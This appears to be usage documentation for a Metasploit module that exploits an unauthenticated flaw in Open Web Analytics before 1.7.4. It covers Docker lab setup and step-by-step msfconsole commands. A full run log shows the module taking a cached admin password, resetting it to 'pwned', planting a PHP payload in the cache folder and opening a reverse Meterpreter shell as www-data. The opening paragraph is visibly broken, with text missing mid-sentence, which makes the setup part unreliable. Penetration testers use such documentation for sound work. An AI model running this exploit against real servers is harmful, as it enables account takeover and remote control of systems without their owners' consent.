## Vulnerable Application Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '` and get `IPAddress`, e.g `172.22.0.2`) - Database Port: `3306` - Database Name: `owa` - Database User: `owa` - Database Password: `Demo12+#` - Continue - Site Domain: `http://127.0.0.1` - Admin name: `admin` - E-Mail: `admin@admin.com` - Password: `Demo12+#` - Continue 2. Start `msfconsole` 3. `use exploit/multi/http/open_web_analytics_rce` 4. `set RHOSTS 127.0.0.1` 5. `set RPORT 80` 6. `set SSL false` 7. `set LHOST 172.22.0.1` -> this needs to be bridge IP that got created with the `docker compose up -d` command 8. `check` 9. `run` ## Options ### Password When exploiting the target, the password of the attacked user will be overwritten with this password. ### Username The user that will be targeted with this exploit. ## Scenarios ### Version 1.7.3 using docker deployment from above with HTTP ``` msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(multi/http/open_web_analytics_rce) > set RPORT 80 RPORT => 80 msf6 exploit(multi/http/open_web_analytics_rce) > set SSL false SSL => false msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1 LHOST => 172.22.0.1 msf6 exploit(multi/http/open_web_analytics_rce) > check [*] 127.0.0.1:80 - The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable msf6 exploit(multi/http/open_web_analytics_rce) > run [*] Started reverse TCP handler on 172.22.0.1:4444 [+] Connected to http://127.0.0.1/ successfully! [*] Attempting to find cache of 'admin' user [+] Found temporary password for user 'admin': ba47fd0842cfb8e0109ca34e7806b84c [+] Changed the password of 'admin' to 'pwned' [+] Logged in as admin user [*] Creating log file [+] Wrote payload to file [*] Sending stage (39927 bytes) to 172.22.0.3 [*] Meterpreter session 2 opened (172.22.0.1:4444 -> 172.22.0.3:47916) at 2023-03-11 17:22:04 +0100 [+] Triggering payload! Check your listener! [*] You can trigger the payload again at http://127.0.0.1/owa-data/caches/p85iCBRq.php meterpreter > pwd /var/www/html/owa-data/caches meterpreter > getuid Server username: www-data meterpreter > ```